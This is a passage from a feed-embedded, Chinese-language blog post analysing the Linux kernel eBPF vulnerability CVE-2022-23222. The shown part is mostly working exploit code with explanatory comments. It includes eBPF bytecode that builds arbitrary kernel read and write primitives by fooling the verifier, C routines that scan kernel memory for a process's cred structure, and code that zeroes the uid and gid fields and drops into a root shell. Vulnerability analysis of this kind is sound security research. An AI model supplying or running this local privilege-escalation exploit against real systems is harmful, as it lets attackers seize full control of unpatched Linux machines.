class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">bpf_insn</span> <span class="title">arbitrary_read</span>[] = {</span></span><br><span class="line"> <span class="comment">// 保存r1,r1被内核初始化为指向skb的指针。</span></span><br><span class="line"> <span class="comment">// r9 = r1</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_lookup_elem(ctx->comm_fd, 0)</span></span><br><span class="line"> BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),</span><br><span class="line"> BPF_ST_MEM(BPF_DW, BPF_REG_10, <span class="number">-8</span>, <span class="number">0</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, <span class="number">-4</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_map_lookup_elem),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。</span></span><br><span class="line"> <span class="comment">// if (r0 == NULL) exit(1)</span></span><br><span class="line"> BPF_JMP_IMM(BPF_JNE, BPF_REG_0, <span class="number">0</span>, <span class="number">2</span>),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">1</span>),</span><br><span class="line"> BPF_EXIT_INSN(),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将array指针保存进r8。</span></span><br><span class="line"> <span class="comment">// r8 = r0</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)</span></span><br><span class="line"> BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_3, <span class="number">0x00</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_reserve),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。</span></span><br><span class="line"> <span class="comment">// r1 = r0</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),</span><br><span class="line"> <span class="comment">// r1 = r1 + 1</span></span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, <span class="number">1</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。</span></span><br><span class="line"> <span class="comment">// 因此,请求保留PAGE_SIZE的内存不可能实现。</span></span><br><span class="line"> <span class="comment">// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }</span></span><br><span class="line"> BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, <span class="number">0</span>, <span class="number">5</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, <span class="number">1</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_discard),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">2</span>),</span><br><span class="line"> BPF_EXIT_INSN(),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 经过上面的NULL检查后,verifier认为r0=0。</span></span><br><span class="line"> <span class="comment">// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// r7 = (r1 + 1) * 8</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, <span class="number">1</span>),</span><br><span class="line"> BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, <span class="number">8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// verifier认为r7=8,但实际上r7=16。</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 调试发现array指针都是0xFFFF..........10</span></span><br><span class="line"> <span class="comment">// 将该指针保存到r10-8处</span></span><br><span class="line"> <span class="comment">// *(u64 *)(r10 - 8) = r8</span></span><br><span class="line"> BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, <span class="number">-8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。</span></span><br><span class="line"> <span class="comment">// 写入字节为可控,可将array指针改成任意地址。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, <span class="number">0</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, <span class="number">-16</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_5, <span class="number">1</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_skb_load_bytes_relative),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取修改后的指针。</span></span><br><span class="line"> <span class="comment">// r6 = *(u64 *)(r10 - 8)</span></span><br><span class="line"> BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, <span class="number">-8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取修改后指针所指向的8个字节数据,实现任意读。</span></span><br><span class="line"> <span class="comment">// 之所以可以读取成功,是因为verifier以为该指针仍为array指针。</span></span><br><span class="line"> <span class="comment">// r0 = *(u64 *)(r6 + 0)</span></span><br><span class="line"> BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, <span class="number">0</span>),</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 将读取的数据写入array map传回用户态。</span></span><br><span class="line"> <span class="comment">// *(u64 *)(r8 + 0) = r0</span></span><br><span class="line"> BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, <span class="number">0</span>),</span><br><span class="line"></span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">0</span>),</span><br><span class="line"> BPF_EXIT_INSN()</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>实现任意写原语的 eBPF 程序:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">bpf_insn</span> <span class="title">arbitrary_write</span>[] = {</span></span><br><span class="line"> <span class="comment">// 保存r1,r1被内核初始化为指向skb的指针。</span></span><br><span class="line"> <span class="comment">// r9 = r1</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_lookup_elem(ctx->comm_fd, 0)</span></span><br><span class="line"> BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),</span><br><span class="line"> BPF_ST_MEM(BPF_DW, BPF_REG_10, <span class="number">-8</span>, <span class="number">0</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, <span class="number">-4</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_map_lookup_elem),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。</span></span><br><span class="line"> <span class="comment">// if (r0 == NULL) exit(1)</span></span><br><span class="line"> BPF_JMP_IMM(BPF_JNE, BPF_REG_0, <span class="number">0</span>, <span class="number">2</span>),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">1</span>),</span><br><span class="line"> BPF_EXIT_INSN(),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将array指针保存进r8。</span></span><br><span class="line"> <span class="comment">// r8 = r0</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)</span></span><br><span class="line"> BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_3, <span class="number">0x00</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_reserve),</span><br><span class="line"></span><br><span class="line"><span class="comment">// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。</span></span><br><span class="line"> <span class="comment">// r1 = r0</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),</span><br><span class="line"> <span class="comment">// r1 = r1 + 1</span></span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, <span class="number">1</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。</span></span><br><span class="line"> <span class="comment">// 因此,请求保留PAGE_SIZE的内存不可能实现。</span></span><br><span class="line"> <span class="comment">// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }</span></span><br><span class="line"> BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, <span class="number">0</span>, <span class="number">5</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, <span class="number">1</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_ringbuf_discard),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">2</span>),</span><br><span class="line"> BPF_EXIT_INSN(),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 经过上面的NULL检查后,verifier认为r0=0。</span></span><br><span class="line"> <span class="comment">// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// r7 = (r1 + 1) * 8</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, <span class="number">1</span>),</span><br><span class="line"> BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, <span class="number">8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// verifier认为r7=8,但实际上r7=16。</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 调试发现array指针都是0xFFFF..........10</span></span><br><span class="line"> <span class="comment">// 将该指针保存到r10-8处</span></span><br><span class="line"> <span class="comment">// *(u64 *)(r10 - 8) = r8</span></span><br><span class="line"> BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, <span class="number">-8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。</span></span><br><span class="line"> <span class="comment">// 写入字节为可控,可将array指针改成任意地址。</span></span><br><span class="line"> <span class="comment">// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)</span></span><br><span class="line"> BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_2, <span class="number">0</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),</span><br><span class="line"> BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, <span class="number">-16</span>),</span><br><span class="line"> BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),</span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_5, <span class="number">1</span>),</span><br><span class="line"> BPF_RAW_INSN(BPF_JMP | BPF_CALL, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, BPF_FUNC_skb_load_bytes_relative),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取修改后的指针。</span></span><br><span class="line"> <span class="comment">// r6 = *(u64 *)(r10 - 8)</span></span><br><span class="line"> BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, <span class="number">-8</span>),</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 从array map中获取从用户态传入的数据。</span></span><br><span class="line"> <span class="comment">// r0决定写入8字节还是4字节,r1则为写入的值。</span></span><br><span class="line"> <span class="comment">// r0 = *(u64 *)(r8 + 8)</span></span><br><span class="line"> BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, <span class="number">0</span>),</span><br><span class="line"> <span class="comment">// r1 = *(u64 *)(r8 + 8)</span></span><br><span class="line"> BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, <span class="number">8</span>),</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 实现任意写。</span></span><br><span class="line"> <span class="comment">// 之所以可以写入成功,是因为verifier以为r6仍为array指针。</span></span><br><span class="line"> <span class="comment">// if (r0 == 0) { *(u64*)r6 = r1 }</span></span><br><span class="line"> BPF_JMP_IMM(BPF_JNE, BPF_REG_0, <span class="number">0</span>, <span class="number">2</span>),</span><br><span class="line"> BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, <span class="number">0</span>),</span><br><span class="line"> BPF_JMP_IMM(BPF_JA, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>),</span><br><span class="line"> <span class="comment">// else { *(u32*)r6 = r1 }</span></span><br><span class="line"> BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, <span class="number">0</span>),</span><br><span class="line"></span><br><span class="line"> BPF_MOV64_IMM(BPF_REG_0, <span class="number">0</span>),</span><br><span class="line"> BPF_EXIT_INSN()</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h3 id="4-4-定位进程cred"><a href="#4-4-定位进程cred" class="headerlink" title="4.4 定位进程cred"></a>4.4 定位进程cred</h3><p>调试发现,进程的 cred 有一定概率在泄露的 array 指针之后。因此需要多创建几个进程,避免利用失败。</p><p>所有进程通过 prctl(PR_SET_NAME, __ID__, 0, 0, 0) 将进程名称设置为固定字符串,在此使用 SCSLSCSL 。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">spawn_processes</span><span class="params">(<span class="keyword">context_t</span> *ctx)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < PROC_NUM; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">pid_t</span> child = fork();</span><br><span class="line"> <span class="keyword">if</span> (child == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (prctl(PR_SET_NAME, __ID__, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>) != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not set name"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">uid_t</span> old = getuid();</span><br><span class="line"> kill(getpid(), SIGSTOP);</span><br><span class="line"> <span class="keyword">uid_t</span> uid = getuid();</span><br><span class="line"> <span class="keyword">if</span> (uid == <span class="number">0</span> && old != uid) {</span><br><span class="line"> OKF(<span class="string">"Enjoy root!"</span>);</span><br><span class="line"> system(<span class="string">"/bin/sh"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">exit</span>(uid);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (child < <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> child;</span><br><span class="line"> }</span><br><span class="line"> ctx->processes[i] = child;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>之后,各进程依次尝试通过任意读原语,在 array 指针之后 PAGE_SIZE * PAGE_SIZE 大小的内核空间搜索 SCSLSCSL 字符串,来定位进程的 cred 。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">find_cred</span><span class="params">(<span class="keyword">context_t</span> *ctx)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < PAGE_SIZE*PAGE_SIZE ; i++)</span><br><span class="line"> {</span><br><span class="line"> u64 val = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">kaddr_t</span> addr = ctx->array_map + PAGE_SIZE + i*<span class="number">0x8</span>;</span><br><span class="line"> <span class="keyword">if</span> (arbitrary_read(ctx, addr, &val, BPF_DW) != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not read kernel address %p"</span>, addr);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// DEBUGF("addr %p = 0x%016x", addr, val);</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">memcmp</span>(&val, __ID__, <span class="keyword">sizeof</span>(val)) == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">kaddr_t</span> cred_from_task = addr - <span class="number">0x10</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (arbitrary_read(ctx, cred_from_task + <span class="number">8</span>, &val, BPF_DW) != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not read kernel address %p + 8"</span>, cred_from_task);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (val == <span class="number">0</span> && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != <span class="number">0</span>) {</span><br><span class="line"> WARNF(<span class="string">"Could not read kernel address %p + 0"</span>, cred_from_task);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (val != <span class="number">0</span>) {</span><br><span class="line"> ctx->cred = (<span class="keyword">kaddr_t</span>)val;</span><br><span class="line"> DEBUGF(<span class="string">"task struct ~ %p"</span>, cred_from_task);</span><br><span class="line"> DEBUGF(<span class="string">"cred @ %p"</span>, ctx->cred);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="4-5-实现提权"><a href="#4-5-实现提权" class="headerlink" title="4.5 实现提权"></a>4.5 实现提权</h3><p>定位到进程 cred 后,即可通过任意写原语修改 cred ,实现提权。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">overwrite_cred</span><span class="params">(<span class="keyword">context_t</span> *ctx)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, <span class="number">0</span>, BPF_W) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, <span class="number">0</span>, BPF_W) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, <span class="number">0</span>, BPF_W) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, <span class="number">0</span>, BPF_W) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt" target="_blank" rel="noopener">cve-2022-23222-linux-kernel-ebpf-lpe.txt</a></p><p><a href="https://www.pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/" target="_blank" rel="noopener">The Good, Bad and Compromisable Aspects of Linux eBPF - Pentera</a></p><p><a href="https://ebpf.io/" target="_blank" rel="noopener">eBPF - Introduction, Tutorials & Community Resources</a></p><p><a href="https://www.kernel.org/doc/html/latest/bpf/instruction-set.html" target="_blank" rel="noopener">eBPF Instruction Set — The Linux Kernel documentation</a></p><p><a href="https://arthurchiao.art/blog/bpf-advanced-notes-1-zh/" target="_blank" rel="noopener">BPF 进阶笔记(一):BPF 程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例</a></p><p><a href="https://man7.org/linux/man-pages/man7/bpf-helpers.7.html" target="_blank" rel="noopener">bpf-helpers(7) - Linux manual page</a></p><p><a href="https://www.containiq.com/post/libbpf" target="_blank" rel="noopener">Libbpf: A Beginners Guide</a></p><p><a href="https://nakryiko.com/posts/libbpf-bootstrap/" target="_blank" rel="noopener">Building BPF applications with libbpf-bootstrap</a></p><p><a href="https://nakryiko.com/posts/bpf-ringbuf/" target="_blank" rel="noopener">BPF ring buffer</a></p><p><a href="https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md" target="_blank" rel="noopener">bcc/reference_guide.md at master · iovisor/bcc</a></p>]]></content>
<summary type="html">
<h1 id="CVE-2022-23222-漏洞分析"><a href="#CVE-2022-23222-漏洞分析" class="headerlink" title="CVE-2022-23222 漏洞分析"></a>CVE-2022-23222 漏洞分析</h1><p>au
</summary>
</entry>
<entry>
<title>CVE-2021-4034 pkexec 本地提权漏洞利用解析</title>
<link href="http://yoursite.com/2022/02/10/CVE-2021-4034/"/>
<id>http://yoursite.com/2022/02/10/CVE-2021-4034/</id>
<published>2022-02-14T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.307Z</updated>
